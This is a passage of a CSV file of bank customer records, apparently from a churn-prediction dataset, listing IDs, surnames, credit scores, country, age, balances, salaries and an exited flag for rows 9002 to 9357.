+9002,15733111,Yeh,688,Spain,Male,32,6,124179.3,1,1,1,138759.15,0 +9003,15610727,Ch'in,605,France,Male,36,7,128829.25,1,1,0,190588.59,0 +9004,15792720,Martinez,676,France,Male,33,6,171490.78,1,0,0,79099.64,0 +9005,15723153,Wearing,708,Spain,Male,33,3,0,2,1,0,138613.21,0 +9006,15802823,Maclean,745,Spain,Female,38,7,0,2,1,1,194230.82,0 +9007,15756118,T'ao,661,Spain,Male,20,8,0,1,1,0,110252.53,0 +9008,15684934,Rose,726,France,Male,31,9,0,2,1,1,106117.3,0 +9009,15776936,Whitworth,475,France,Male,40,7,160818.08,1,0,1,169642.13,1 +9010,15729087,Suttor,751,Germany,Male,54,9,156367.6,2,0,1,116179.92,0 +9011,15786463,Hsing,645,Germany,Female,59,8,121669.93,2,0,0,91.75,1 +9012,15717498,Boni,775,France,Male,42,6,133970.22,2,0,1,187839.9,0 +9013,15718406,Marshall,540,France,Male,41,3,0,2,1,0,121098.65,0 +9014,15799468,Catchpole,591,France,Female,34,3,96127.27,1,0,0,30972.06,0 +9015,15626383,Tang,596,Spain,Male,60,7,121907.97,1,0,1,30314.04,0 +9016,15597385,Siddons,573,Spain,Male,41,5,0,2,0,1,14479.29,0 +9017,15570271,Wan,577,Spain,Male,31,6,0,1,1,1,196395.25,0 +9018,15690330,Efimov,830,Germany,Female,40,8,77701.64,1,0,1,19512.38,0 +9019,15680611,Rose,663,France,Male,67,9,0,3,1,1,72318.77,0 +9020,15810227,Fanucci,421,France,Male,34,2,0,2,1,1,96615.23,0 +9021,15807194,Iweobiegbulam,718,Spain,Male,34,5,113922.44,2,1,0,30772.22,0 +9022,15712199,Ijendu,655,Germany,Female,61,2,183997.7,2,1,1,161217.18,0 +9023,15694995,O'Sullivan,712,France,Male,23,2,0,2,0,1,66795.78,0 +9024,15723400,Hutchinson,663,France,Male,28,4,0,2,1,1,123969.64,0 +9025,15654772,Kwemto,640,France,Female,47,6,89799.46,2,0,1,13783.77,1 +9026,15574743,Chiu,577,Spain,Male,29,2,0,1,1,1,168924.41,0 +9027,15807593,Berry,546,Spain,Female,36,7,85660.96,1,0,0,134778.01,0 +9028,15686718,Hung,802,Germany,Male,37,9,115569.21,1,0,1,119782.89,0 +9029,15695299,Mordvinova,590,France,Female,45,2,81828.22,1,1,0,52167.97,0 +9030,15722701,Bruno,594,Germany,Male,18,1,132694.73,1,1,0,167689.56,0 +9031,15799635,Arbour,577,Spain,Male,51,2,108867,1,0,0,140800.66,1 +9032,15742323,Barese,541,France,Male,39,7,0,2,1,0,19823.02,0 +9033,15658435,Hingston,781,France,Female,27,5,0,2,0,0,72969.9,0 +9034,15586029,Davis,806,Germany,Male,34,2,96152.68,2,1,0,143711.02,0 +9035,15772337,Lawrence,723,Germany,Female,49,0,153855.52,1,1,1,180862.26,1 +9036,15807555,Chung,535,France,Male,45,2,0,2,1,0,125658.28,0 +9037,15603378,Padovano,768,France,Female,36,3,141334.95,1,0,1,125870.5,0 +9038,15792862,Blinova,653,Germany,Male,41,1,104584.11,1,1,0,15126.32,1 +9039,15657349,Carter,803,Germany,Female,50,8,98173.02,1,0,0,22457.25,1 +9040,15777614,Webb,545,Spain,Female,44,1,0,2,1,1,82614.89,0 +9041,15653952,T'an,581,Germany,Female,38,3,135157.05,1,1,1,32919.42,0 +9042,15724336,Yates,513,Germany,Female,49,5,171601.27,1,1,0,126223.84,0 +9043,15689594,Su,731,France,Male,29,5,179539.2,1,0,0,112010.02,0 +9044,15801920,Christian,727,Germany,Male,39,5,80615.46,2,0,0,180962.32,0 +9045,15653347,Chiu,560,Spain,Male,47,1,0,1,0,0,128882.66,1 +9046,15749951,Sacco,766,Germany,Male,27,5,126285.73,1,1,0,177614.17,1 +9047,15648178,Lettiere,630,Germany,Female,23,4,137964.51,1,0,1,174570.55,0 +9048,15738662,Daluchi,652,Germany,Male,41,9,159434.03,1,1,0,178373.93,0 +9049,15640855,T'ien,729,Germany,Male,40,5,113574.61,2,1,0,103396.08,0 +9050,15584288,Hung,629,France,Female,33,6,0,2,1,1,59129.72,0 +9051,15760988,Liu,667,Germany,Male,33,9,124573.33,2,0,0,683.37,0 +9052,15569624,Feng,671,Germany,Female,31,6,105864.6,2,1,0,145567.34,0 +9053,15597949,Gilbert,768,Germany,Female,47,5,104552.61,1,1,0,48137.08,1 +9054,15604551,Robb,732,France,Female,35,3,0,2,1,0,90876.95,0 +9055,15617476,Manfrin,546,France,Female,30,5,0,2,0,1,198543.09,0 +9056,15645323,Chinwenma,630,France,Male,55,2,0,1,1,1,106202.07,1 +9057,15793311,Smith,765,Germany,Female,46,8,119492.88,2,0,1,166896.01,1 +9058,15764153,Rowe,704,France,Female,33,0,130499.09,2,1,1,74804.36,0 +9059,15802560,Moran,470,Spain,Female,48,6,140576.11,1,1,1,116971.05,0 +9060,15728608,Walker,688,Germany,Female,34,9,91025.58,2,0,1,163783,0 +9061,15770474,Myers,685,France,Female,33,1,0,3,0,1,70221.13,1 +9062,15724444,Wall,567,France,Female,38,1,125877.65,2,1,1,107841.77,0 +9063,15753110,McKay,720,Spain,Male,64,3,45752.78,2,1,0,79623.28,1 +9064,15711521,Egobudike,609,France,Male,39,3,121778.71,1,1,1,138399.67,0 +9065,15632816,Williams,521,Germany,Female,49,2,127948.57,1,1,1,182765.14,0 +9066,15693637,Ochoa,556,France,Female,30,7,0,2,1,1,186648.19,0 +9067,15725509,Otutodilinna,662,Germany,Male,30,5,115286.68,2,1,1,149587.92,0 +9068,15684645,Ajuluchukwu,704,Germany,Male,41,9,62078.21,2,1,0,129050.67,0 +9069,15692235,Bellucci,750,France,Female,38,1,0,2,1,0,47764.99,0 +9070,15777459,Gordon,619,Spain,Female,32,4,175406.13,2,1,1,172792.43,1 +9071,15656937,Johnston,468,Spain,Male,26,1,131643.25,1,1,0,64436.16,0 +9072,15610643,De Luca,435,Germany,Male,44,3,151739.65,1,1,0,167461.5,0 +9073,15777315,Hill,529,France,Male,43,6,93616.35,2,0,0,98348.66,0 +9074,15611058,Eluemuno,702,Germany,Female,60,5,138597.54,2,1,1,41536.59,1 +9075,15630413,Howarth,608,France,Female,41,5,0,2,1,1,72462.25,0 +9076,15635942,Thomson,576,France,Male,40,9,0,2,1,0,112465.19,1 +9077,15648858,King,666,France,Female,27,1,85225.21,1,0,1,64511.44,0 +9078,15810732,Grant,730,France,Female,36,8,148749.29,2,1,0,91830.75,0 +9079,15705448,Gilbert,647,Germany,Male,52,7,130013.12,1,1,1,190806.36,1 +9080,15730488,Richmond,516,Spain,Female,27,1,0,1,0,1,112311.15,0 +9081,15620443,Fiorentino,711,France,Female,81,6,0,2,1,1,72276.24,0 +9082,15741078,Greece,736,France,Male,54,7,111729.47,2,0,1,84920.49,0 +9083,15753161,Dickson,768,France,Female,36,5,180169.44,2,1,0,17348.56,0 +9084,15711396,Henderson,427,Spain,Male,40,8,0,2,1,1,82870.75,0 +9085,15593499,Stevens,686,Spain,Female,47,6,0,1,1,0,32080.69,1 +9086,15579189,Mitchell,690,France,Female,42,5,0,2,0,1,120512.08,0 +9087,15743545,Nworie,647,Spain,Female,29,2,0,2,1,0,179032.68,0 +9088,15791316,Boni,714,France,Male,35,3,0,2,1,1,95623.28,0 +9089,15608246,Wentcher,736,Germany,Female,36,8,103914.17,1,1,1,110035.88,1 +9090,15676526,Bentley,608,France,Female,34,4,88772.87,1,1,1,168822.01,0 +9091,15813911,Hayes-Williams,809,France,Female,39,5,0,1,1,0,77705.75,0 +9092,15630195,Johnstone,745,France,Female,40,6,131184.67,1,1,1,49815.62,0 +9093,15736250,Johnstone,781,France,Male,38,2,117810.79,1,0,1,65632.33,1 +9094,15671334,Nixon,527,France,Male,31,4,0,1,1,0,169361.89,0 +9095,15574169,Trevisano,595,Germany,Female,32,0,92466.21,1,1,0,4721.3,0 +9096,15718839,Tsui,850,Germany,Female,38,2,102741.15,2,0,1,23974.85,0 +9097,15762331,Moss,569,France,Male,37,9,178755.84,1,1,0,199929.17,0 +9098,15606901,Graham,728,France,Male,43,7,0,2,1,0,40023.7,0 +9099,15713559,Onyemauchechukwu,473,Germany,Female,32,5,146602.25,2,1,1,72946.95,0 +9100,15768881,Saunders,738,France,Male,29,2,0,2,1,1,170421.13,0 +9101,15743075,Ko,659,France,Male,35,6,0,2,1,1,58879.11,0 +9102,15660980,Cairns,597,Spain,Male,38,6,115702.67,2,1,1,25059.05,0 +9103,15810942,Chiemela,445,Germany,Female,61,2,137655.31,1,0,1,29909.84,0 +9104,15728362,Robertson,671,France,Female,29,3,0,2,1,0,158043.11,0 +9105,15683339,P'eng,656,Spain,Female,34,6,59877.33,1,1,0,14032.62,1 +9106,15685476,Tseng,658,France,Male,31,5,100082.14,1,0,1,49809.88,0 +9107,15663650,Russell,698,Germany,Male,52,10,107304.39,3,1,0,28806.32,1 +9108,15617434,Yen,655,Spain,Male,38,9,0,1,0,1,90490.33,0 +9109,15622470,Yeh,772,Spain,Male,41,10,96032.22,1,1,1,75825.57,0 +9110,15703682,Kalinina,681,Spain,Male,33,10,0,1,0,0,158336.36,0 +9111,15727391,Collier,688,Germany,Male,29,9,144553.5,2,1,0,143454.95,0 +9112,15711062,Thomas,633,Germany,Male,40,5,86172.81,2,1,1,117279.49,0 +9113,15567339,Shaw,735,France,Male,73,9,0,1,1,1,114283.33,0 +9114,15760662,Francis,521,Germany,Female,29,2,87212.8,1,1,1,994.86,0 +9115,15605737,George,541,France,Male,36,5,0,2,1,0,124795.84,0 +9116,15692977,Ikenna,612,Germany,Female,36,2,130700.92,2,0,0,77592.8,0 +9117,15672082,Schatz,562,France,Male,62,3,0,2,1,0,105986.01,0 +9118,15600280,Tao,703,France,Female,32,6,0,2,0,0,33606.52,0 +9119,15804052,Scott,710,Spain,Male,23,6,0,2,1,1,134188.11,0 +9120,15576065,Sims,731,Spain,Female,40,5,171325.98,1,1,1,159718.27,1 +9121,15796838,Chibugo,703,Spain,Male,58,4,92930.92,1,0,1,85148.78,0 +9122,15693526,Ku,618,France,Female,40,0,0,1,1,0,119059.13,0 +9123,15748595,Stanton,689,France,Female,29,1,77556.79,2,1,1,122998.26,0 +9124,15679029,Kung,718,France,Male,33,7,102874.28,1,0,0,117841.06,0 +9125,15753639,Gibson,608,France,Male,37,5,146093.39,2,0,0,160593.41,0 +9126,15604138,Iheanacho,749,Spain,Male,34,2,0,1,0,0,174189.04,1 +9127,15666095,Costa,753,Spain,Male,51,4,79811.72,2,0,1,68260.27,1 +9128,15643487,Sal,630,Spain,Male,39,10,105473.74,1,0,0,58854.88,1 +9129,15764033,Lin,693,Germany,Female,43,1,121927.92,1,1,0,87994.95,1 +9130,15747288,Ferri,838,Spain,Female,40,6,61671.19,1,0,1,150659.35,1 +9131,15790599,Yin,756,Germany,Female,39,5,149363.12,2,1,1,109098.39,0 +9132,15737705,Avdeyeva,775,France,Female,27,4,152309.37,1,1,0,104112,0 +9133,15737194,Tu,635,France,Female,33,5,0,2,1,0,122949.71,0 +9134,15726776,Donnelly,705,Spain,Male,36,1,111629.29,1,1,1,21807.16,0 +9135,15804357,Loggia,481,France,Male,40,3,0,1,1,1,32319.93,0 +9136,15664432,Chao,727,Spain,Female,49,7,96296.78,1,1,0,190457.87,1 +9137,15688984,Belonwu,595,France,Male,20,4,95830.43,1,1,0,177738.98,0 +9138,15583026,Welch,535,France,Female,38,0,135919.33,1,1,0,80425.65,0 +9139,15771668,Henderson,578,France,Male,59,10,185966.64,1,0,0,9445.42,1 +9140,15779904,Yobanna,597,France,Female,29,5,0,2,1,1,174825.57,0 +9141,15784323,Gallo,449,France,Female,21,7,0,2,0,0,175743.92,0 +9142,15756277,Wilson,850,Germany,Female,43,8,92244.83,2,1,0,54949.73,0 +9143,15663312,Marino,494,France,Female,35,9,112727.06,2,1,0,183752.91,0 +9144,15793197,Bailey,676,France,Female,34,8,100359.54,1,0,0,46038.28,0 +9145,15731463,Gboliwe,818,Germany,Male,43,10,105301.5,1,1,1,78941.59,0 +9146,15621768,Chukwuhaenye,712,Spain,Male,45,6,112994.65,1,0,0,198398.68,0 +9147,15691323,Bianchi,672,Germany,Male,40,4,89025.88,2,1,0,188892.19,0 +9148,15781326,Ford,636,France,Male,35,9,95478.17,1,0,0,169286.74,0 +9149,15595640,Rizzo,698,France,Male,37,8,0,2,0,0,145004.39,0 +9150,15814331,Lung,597,Germany,Female,43,7,119127.46,2,1,0,55809.92,0 +9151,15602030,Ramirez,717,France,Male,28,4,128206.79,1,1,1,54272.12,0 +9152,15747974,Sabbatini,614,France,Male,49,1,0,2,1,0,192440.54,0 +9153,15611315,Ts'ao,708,Germany,Female,23,4,71433.08,1,1,0,103697.57,0 +9154,15636977,Trevisan,507,Germany,Male,36,9,118214.32,3,1,0,119110.03,1 +9155,15690337,Chinwenma,581,France,Female,27,5,102258.11,2,1,0,194681.6,0 +9156,15680666,Berry,579,Spain,Female,39,2,151963.26,2,1,0,158948.63,0 +9157,15679551,Colombo,504,Spain,Female,46,2,163764.84,1,1,1,165122.55,1 +9158,15778915,Harris,737,France,Female,32,7,128551.36,2,0,1,189402.71,0 +9159,15568849,Bryan,540,Spain,Female,31,10,118158.74,1,1,1,158027.57,0 +9160,15747762,Chigozie,609,France,Male,32,7,118520.41,1,0,0,3815.48,0 +9161,15753679,Mullawirraburka,778,France,Male,24,4,0,2,1,1,162809.2,0 +9162,15750049,Steele,621,France,Male,40,10,163823.37,1,0,0,89519.47,0 +9163,15606097,Zakharov,665,Germany,Male,63,7,104469.58,1,1,1,25165.36,1 +9164,15802368,Ch'eng,608,France,Female,47,6,0,1,1,1,126012.57,0 +9165,15767488,Berry,680,Spain,Male,36,7,0,2,1,0,20109.21,0 +9166,15669946,Jen,663,Germany,Female,46,2,141726.88,1,1,1,58257.23,0 +9167,15612103,Wang,627,Germany,Female,35,2,137852.96,1,1,1,172269.21,1 +9168,15645353,Chubb,607,France,Male,26,1,0,1,1,0,29818.2,0 +9169,15650018,Chen,681,France,Female,43,8,154100.3,1,0,0,114659.81,0 +9170,15659002,Mazzanti,766,France,Female,45,6,0,2,0,0,147184.74,0 +9171,15616028,T'ao,694,France,Male,30,2,0,3,0,1,15039.41,0 +9172,15660475,Ndubueze,411,France,Female,54,9,0,1,0,1,76621.49,0 +9173,15652615,Ferri,742,France,Male,39,8,140004.96,1,1,1,92985.78,0 +9174,15653572,Thornton,673,Spain,Male,43,8,127132.96,1,0,1,6009.27,1 +9175,15628059,DeRose,529,France,Male,61,1,0,2,1,1,191370.97,0 +9176,15703413,Montes,519,France,Female,38,7,125328.56,1,1,0,188225.67,0 +9177,15610433,Kwemto,573,France,Male,35,9,0,2,1,0,11743.89,0 +9178,15770548,Lucchese,453,Germany,Female,28,3,139986.65,1,1,0,136846.75,0 +9179,15645637,Huggins,798,Germany,Female,39,6,119787.76,1,1,1,164248.33,0 +9180,15590888,Wade,693,Spain,Female,34,10,107556.06,2,0,0,154631.35,0 +9181,15568326,Kenenna,637,France,Female,44,2,0,2,1,0,149665.65,0 +9182,15655368,Wheeler,672,France,Male,47,1,0,1,0,0,91574.92,0 +9183,15665579,Cartwright,597,France,Female,28,0,142705.95,1,1,0,127233.39,0 +9184,15676091,Iloerika,543,France,Male,42,7,0,1,1,1,56650.47,0 +9185,15716984,Palermo,695,Spain,Female,56,4,0,2,1,0,84644.76,0 +9186,15715078,Nkemakolam,584,France,Male,35,6,161613.94,2,1,1,148238.16,0 +9187,15569452,Butler,652,Germany,Female,58,3,116353.2,2,0,1,193502.9,0 +9188,15628863,Calabresi,601,France,Male,38,4,60013.81,1,1,1,38020.05,0 +9189,15778192,Nkemdilim,628,Spain,Male,28,4,0,2,1,1,176750.81,0 +9190,15793723,Ch'iu,607,Germany,Male,32,9,144272.07,2,1,0,176580.63,0 +9191,15798943,Alexander,646,France,Female,46,8,0,2,1,0,133059.15,0 +9192,15764708,Chiabuotu,572,France,Male,30,6,117696.67,1,1,0,100843.82,0 +9193,15791040,Vasilyeva,801,Spain,Male,58,1,79954.61,2,1,1,30484.19,0 +9194,15631512,Schneider,597,France,Female,26,8,149989.39,1,1,0,42330.58,0 +9195,15640106,Mason,613,France,Male,40,7,124339.9,1,0,0,193309.58,0 +9196,15710315,Chukwukadibia,529,Germany,Male,29,4,135759.4,1,0,0,112813.79,1 +9197,15771535,Tsui,794,Spain,Female,37,9,0,2,1,0,68008.85,0 +9198,15611947,Banks,557,France,Male,34,3,83074,1,1,0,132673.22,0 +9199,15670266,Shih,499,France,Female,28,4,141792.61,1,1,1,22001.91,0 +9200,15609083,Tretiakova,544,France,Female,26,6,0,1,1,0,100200.4,1 +9201,15567923,Barese,739,France,Female,30,6,0,1,0,0,122604.44,0 +9202,15788183,Longo,458,Germany,Female,43,1,106870.12,2,1,0,100564.37,0 +9203,15735782,MacDonald,528,France,Male,31,9,120962.59,1,1,0,5419.31,0 +9204,15774401,Chambers,773,Spain,Male,51,4,0,2,0,0,123587.83,1 +9205,15737971,Cowen,646,France,Female,30,5,0,2,1,0,13935.32,0 +9206,15758750,Iweobiegbunam,564,France,Male,31,0,110527.17,1,1,1,87060.77,0 +9207,15611767,Mai,624,Germany,Female,52,0,133723.43,1,0,0,4859.59,1 +9208,15643770,Yu,682,France,Female,52,5,112670.48,1,1,0,21085.17,1 +9209,15744717,Duffy,726,France,Female,44,2,0,2,1,1,26733.86,0 +9210,15570681,Chiang,560,France,Male,24,1,116084.32,1,1,0,89734.7,0 +9211,15792650,Watts,382,Spain,Male,36,0,0,1,1,1,179540.73,1 +9212,15605531,Daly,457,Spain,Female,38,6,0,2,1,0,173219.09,0 +9213,15605339,Baker,673,France,Female,37,10,0,2,1,1,37411.35,0 +9214,15672216,Uvarov,584,France,Female,40,4,82441.75,1,0,0,80852.11,0 +9215,15812893,Costa,629,France,Female,39,10,0,2,1,1,43174.49,1 +9216,15624180,Genovesi,584,Germany,Female,37,10,134171.8,4,1,1,70927.11,1 +9217,15701364,Doherty,724,France,Male,30,10,0,2,1,1,54265.55,0 +9218,15762588,Kaleski,644,France,Male,31,5,0,2,1,1,41872.17,0 +9219,15806318,Wright,676,Germany,Female,48,2,124442.38,1,1,0,15068.53,1 +9220,15712596,Huang,499,France,Male,31,4,0,1,1,0,25950.49,0 +9221,15600399,Trentino,598,France,Male,60,4,0,1,1,0,197727.14,1 +9222,15576216,Chienezie,655,Germany,Female,37,4,108862.76,1,1,0,79555.08,1 +9223,15620750,Sugden,559,France,Male,28,3,141099.43,1,1,1,15607.27,0 +9224,15623489,Tu,543,France,Female,67,0,128843.67,1,1,1,134612.48,0 +9225,15667944,Onuchukwu,679,France,Male,39,0,86843.61,1,0,1,159830.58,0 +9226,15584928,Ugochukwutubelum,594,Germany,Female,32,4,120074.97,2,1,1,162961.79,0 +9227,15779913,Davidson,586,France,Male,27,5,130231.8,2,1,1,192427.16,0 +9228,15644977,Goddard,776,France,Female,31,5,0,2,1,0,92647.94,0 +9229,15749679,Beck,699,France,Male,39,2,109724.38,1,1,1,180022.39,0 +9230,15629010,Beam,847,Germany,Female,35,5,111743.43,1,1,1,183584.14,0 +9231,15768465,Sheppard,582,Germany,Male,35,8,121309.17,2,1,1,28750.67,0 +9232,15767781,Godfrey,648,France,Male,38,10,82697.28,1,1,0,74846.67,0 +9233,15635364,Gray,618,France,Female,49,9,44301.43,3,1,1,89729.3,1 +9234,15722004,Hsiung,543,France,Female,31,4,138317.94,1,0,0,61843.73,0 +9235,15766044,Cameron,642,Germany,Male,49,4,120688.61,1,1,0,24770.22,1 +9236,15586680,Fleming,462,France,Male,27,4,176913.52,1,1,0,80587.27,0 +9237,15635388,Austin,640,Spain,Male,47,6,89047.14,1,1,0,116286.25,0 +9238,15655175,Wallace,740,Germany,Male,40,4,114318.78,2,1,0,129333.69,1 +9239,15639133,Ku,773,France,Female,50,4,0,2,1,0,129372.94,0 +9240,15799653,Fiorentino,583,Germany,Female,32,7,94753.55,2,1,1,18149.03,0 +9241,15723872,Buccho,589,Spain,Female,46,10,0,2,0,1,168369.37,0 +9242,15775627,Gordon,509,France,Male,35,8,0,2,0,1,67431.28,0 +9243,15630704,Haworth,612,Germany,Male,32,9,106520.73,2,1,0,177092.16,0 +9244,15815534,Guidry,505,Spain,Male,37,0,134006.39,1,1,1,93736.69,0 +9245,15697249,Lettiere,546,Germany,Female,25,3,132837.7,1,1,0,131647.31,0 +9246,15681316,Tai,681,France,Female,41,0,120549.29,2,1,0,175722.31,0 +9247,15682523,Chigozie,762,France,Male,20,1,139432.55,1,1,1,85606.83,0 +9248,15650244,Bezrukov,786,Spain,Male,29,7,80895.44,2,1,0,64945.57,0 +9249,15648638,Chia,629,Spain,Male,34,6,0,2,1,0,190347.72,0 +9250,15795747,Sheppard,787,Spain,Female,39,7,171646.76,1,0,1,100791.36,0 +9251,15607330,Vasilyev,713,Spain,Male,42,0,109121.71,1,0,1,167873.49,0 +9252,15624013,Maxwell,541,France,Female,39,6,109844.81,1,1,0,25289.23,0 +9253,15800805,Maher,451,France,Female,31,7,140931.82,1,0,1,20388.77,0 +9254,15667321,Cocci,644,Spain,Male,49,10,0,2,1,1,145089.64,0 +9255,15601116,P'an,686,France,Male,32,6,0,2,1,1,179093.26,0 +9256,15622033,Rapuluchukwu,847,Germany,Female,41,3,101543.51,4,1,0,16025.17,1 +9257,15758451,Azuka,765,Germany,Male,37,7,102708.77,1,1,0,9087.81,0 +9258,15688689,Esposito,678,Germany,Female,37,8,149000.91,2,1,1,21472.42,0 +9259,15652674,Hou,539,France,Male,20,0,83459.86,1,1,1,146752.67,0 +9260,15806327,Cyril,800,France,Female,40,3,75893.11,2,1,0,132562.23,0 +9261,15649618,Tomlinson,799,Germany,Female,39,7,167395.6,2,0,1,139537.43,0 +9262,15677117,Crawford,629,France,Female,61,6,0,2,1,1,133672.61,0 +9263,15751445,Chikwado,734,Germany,Female,52,6,71283.09,2,0,1,38984.37,0 +9264,15749669,Hargreaves,542,France,Female,31,3,0,2,1,1,115217.59,0 +9265,15656351,Laidley,414,Spain,Male,60,3,0,2,1,1,93844.82,0 +9266,15667438,Ferguson,675,France,Female,38,1,104016.88,1,0,0,22068.83,1 +9267,15682273,Burns,683,France,Female,38,5,127616.56,1,1,0,123846.07,0 +9268,15580912,McNeill,748,France,Male,32,5,154737.88,2,1,1,172638.13,0 +9269,15785183,Chukwuebuka,596,Spain,Male,29,2,0,2,1,1,1591.19,0 +9270,15705383,Shen,642,France,Male,35,4,125476.31,1,1,1,91775.51,0 +9271,15712903,Diaz,499,France,Female,21,3,176511.08,1,1,1,153920.22,0 +9272,15774285,Kentish,649,Spain,Female,47,8,110783.28,1,1,1,71420.16,0 +9273,15583138,Persse,739,France,Male,42,2,141642.92,2,1,0,172149.76,0 +9274,15740160,Okwukwe,616,France,Male,31,1,0,2,1,1,54706.75,0 +9275,15793425,Watt,560,Spain,Female,33,9,0,1,0,1,183358.21,0 +9276,15749265,Carslaw,427,Germany,Male,42,1,75681.52,1,1,1,57098,0 +9277,15623989,Griffin,435,France,Male,54,3,0,1,1,0,156910.46,1 +9278,15604832,Hsia,633,France,Male,29,7,0,1,1,1,130224.73,0 +9279,15584580,Fyodorova,443,France,Male,35,6,161111.45,1,0,0,13946.66,0 +9280,15573854,Chukwujekwu,727,France,Male,62,5,0,2,0,1,38652.96,0 +9281,15614847,Townsend,674,France,Female,45,6,72494.69,1,0,1,140041.78,0 +9282,15679966,Marsh,661,France,Female,31,3,133964.3,1,1,1,166187.1,0 +9283,15799435,Hayes,619,Spain,Male,34,1,0,1,1,0,139919.38,0 +9284,15752186,Padovano,562,France,Female,27,3,0,2,1,0,28137.03,0 +9285,15705544,Ma,633,France,Male,61,3,157201.48,1,0,1,50368.63,0 +9286,15713632,Ham,551,Spain,Female,48,5,95679.29,1,0,0,94978.1,0 +9287,15586523,Paten,720,Germany,Female,29,7,106230.92,1,1,1,69903.93,1 +9288,15609176,Cawthorne,688,France,Female,32,5,0,2,0,1,177607.77,0 +9289,15769308,Herbert,635,Germany,Female,36,9,81231.85,2,1,0,196731.08,0 +9290,15676810,Jen,561,France,Female,31,1,81480.27,2,1,1,65234.6,0 +9291,15634591,Saunders,850,France,Male,33,8,73059.38,1,1,1,186281,0 +9292,15679804,Esquivel,636,France,Male,36,5,117559.05,2,1,1,111573.3,0 +9293,15677764,Chao,461,Germany,Female,74,1,186445.31,2,1,1,196767.83,0 +9294,15571917,Eluemuno,771,Germany,Female,38,5,137657.71,2,1,0,72985.61,0 +9295,15574608,Sidorova,713,France,Male,36,8,133889.35,1,1,1,143265.65,0 +9296,15740868,Pirogova,658,Germany,Female,45,9,134562.8,1,1,1,159268.67,0 +9297,15702442,Benson,586,Germany,Female,56,9,100781.75,2,1,1,54448.41,0 +9298,15699797,Santana,737,France,Male,30,8,174356.13,1,0,0,31928.5,0 +9299,15648047,Williamson,742,Germany,Male,27,5,190125.43,2,0,0,21793.59,0 +9300,15766826,North,824,France,Male,26,7,146266,1,1,0,21903.62,1 +9301,15591628,Davies,701,Germany,Male,41,9,164046.1,1,1,0,49405.93,0 +9302,15583857,Siciliano,623,Spain,Female,43,4,123536.52,2,0,0,154908.52,0 +9303,15752534,Mironov,744,France,Male,36,10,0,2,1,1,182867.84,0 +9304,15741403,Amechi,698,Spain,Female,38,1,171848.38,1,0,0,16957.45,0 +9305,15783589,Toscano,616,France,Male,40,9,0,2,0,0,93717.55,0 +9306,15598046,Su,662,France,Female,39,5,139562.05,2,1,0,61636.22,0 +9307,15643330,Chukwuemeka,594,France,Male,37,2,0,2,0,1,95864.5,0 +9308,15680405,P'eng,685,France,Male,40,2,168001.34,2,1,1,167400.29,0 +9309,15728683,Lombardo,742,France,Male,27,0,0,2,0,1,131534.96,0 +9310,15621644,Lombardi,678,Germany,Male,83,6,123356.63,1,0,1,92934.41,0 +9311,15733032,Butler,651,Spain,Male,47,2,0,2,1,1,119808.64,0 +9312,15608381,Dean,585,Germany,Male,50,2,125845.66,1,1,0,9439.31,1 +9313,15658946,Piccio,579,Germany,Male,40,10,45408.85,2,1,0,18732.91,0 +9314,15757912,Bradley,722,Germany,Female,37,0,125977.81,1,0,0,160162.42,0 +9315,15645371,Cameron,613,Germany,Female,51,7,147262.11,1,1,1,53630.9,1 +9316,15653110,Chan,694,France,Male,42,8,133767.19,1,1,0,36405.21,0 +9317,15766355,Lettiere,550,Germany,Male,49,0,108806.96,3,1,0,61446.92,1 +9318,15585249,Mironova,741,France,Male,42,6,106036.52,1,1,0,194686.78,1 +9319,15611786,Tsui,668,Spain,Female,69,9,0,1,0,1,134483.07,0 +9320,15575486,Okoli,529,France,Female,27,1,0,2,1,1,37769.98,0 +9321,15780215,Berry,636,France,Male,31,6,0,2,1,1,2382.61,0 +9322,15686099,Ruse,563,Spain,Male,61,1,82182.1,1,1,0,106826.92,1 +9323,15739042,Bogolyubov,767,France,Female,35,9,0,2,1,0,39511.61,0 +9324,15815316,Kennedy,644,France,Male,50,9,76817,4,1,0,196371.13,1 +9325,15778489,Bolton,780,Germany,Male,71,9,142550.25,2,1,1,122506.78,0 +9326,15786389,Chuang,635,Spain,Female,41,10,0,2,1,1,61994.2,0 +9327,15601787,Greco,641,Germany,Male,35,2,103711.56,1,0,1,192464.21,1 +9328,15624715,Ma,593,Spain,Female,40,2,0,1,1,1,5194.95,0 +9329,15763093,Nucci,540,Germany,Female,35,7,128369.75,2,1,0,198256.15,0 +9330,15572073,Yao,663,Spain,Male,35,5,0,2,1,1,62634.94,0 +9331,15780256,Palfreyman,630,France,Male,34,9,0,2,1,1,114006.35,0 +9332,15659305,Webster,605,Germany,Male,19,8,166133.28,1,1,1,107994.99,0 +9333,15638882,Cardell,710,Germany,Female,62,9,148214.36,1,1,0,48571.14,1 +9334,15714680,Bianchi,755,France,Female,78,5,121206.96,1,1,1,76016.49,0 +9335,15777217,Somadina,641,Spain,Male,25,10,0,2,1,1,180808.39,0 +9336,15739123,Mellor,737,Germany,Male,50,4,127552.85,2,1,0,4225.11,0 +9337,15594450,Tomlinson,695,France,Male,49,9,159458.53,1,1,0,135841.35,0 +9338,15797751,Pai,466,Germany,Female,47,5,102085.72,1,1,1,183536.24,1 +9339,15691543,Lennox,558,Germany,Male,58,2,142537.18,1,1,1,88791.83,0 +9340,15722845,Meldrum,665,Spain,Male,29,1,182781.74,2,1,1,63732.9,0 +9341,15605804,Watson,737,France,Male,45,10,0,2,1,0,1364.54,0 +9342,15702061,Findlay,654,France,Male,29,7,0,2,1,1,149184.15,0 +9343,15694321,Su,619,France,Female,28,3,0,2,1,0,53394.12,0 +9344,15798749,Davidson,845,Germany,Female,43,3,152063.59,2,1,0,97910.06,0 +9345,15720050,Barrett,727,France,Female,28,2,110997.76,1,1,0,101433.76,0 +9346,15758048,Miah,582,France,Male,50,2,148942,1,1,1,116944.3,0 +9347,15805681,Chamberlain,716,France,Male,41,9,0,1,1,1,113267.48,0 +9348,15802809,Vidal,660,Spain,Female,36,0,84438.57,1,1,1,181449.51,0 +9349,15807239,Lung,664,France,Female,34,7,93920.47,1,0,0,179913.98,0 +9350,15749093,Tretyakova,801,France,Male,43,4,158713.08,2,0,0,98586.14,0 +9351,15689344,Montgomery,615,Spain,Male,42,4,0,3,0,1,120321.09,0 +9352,15606076,Golubev,718,Germany,Male,63,7,123204.88,1,1,1,100538.8,0 +9353,15610090,Han,667,France,Male,40,8,72945.29,2,1,0,98931.5,0 +9354,15693926,Pan,670,Spain,Male,37,0,178742.71,1,1,1,194493.57,0 +9355,15791501,Carroll,590,France,Male,43,8,0,2,1,1,143628.31,0 +9356,15621870,Hawkins,739,Spain,Female,40,8,0,1,1,0,167030.51,0 +9357,15734711,Loggia,373,France,Male,42,7,0,1,1,0,77786.37,1 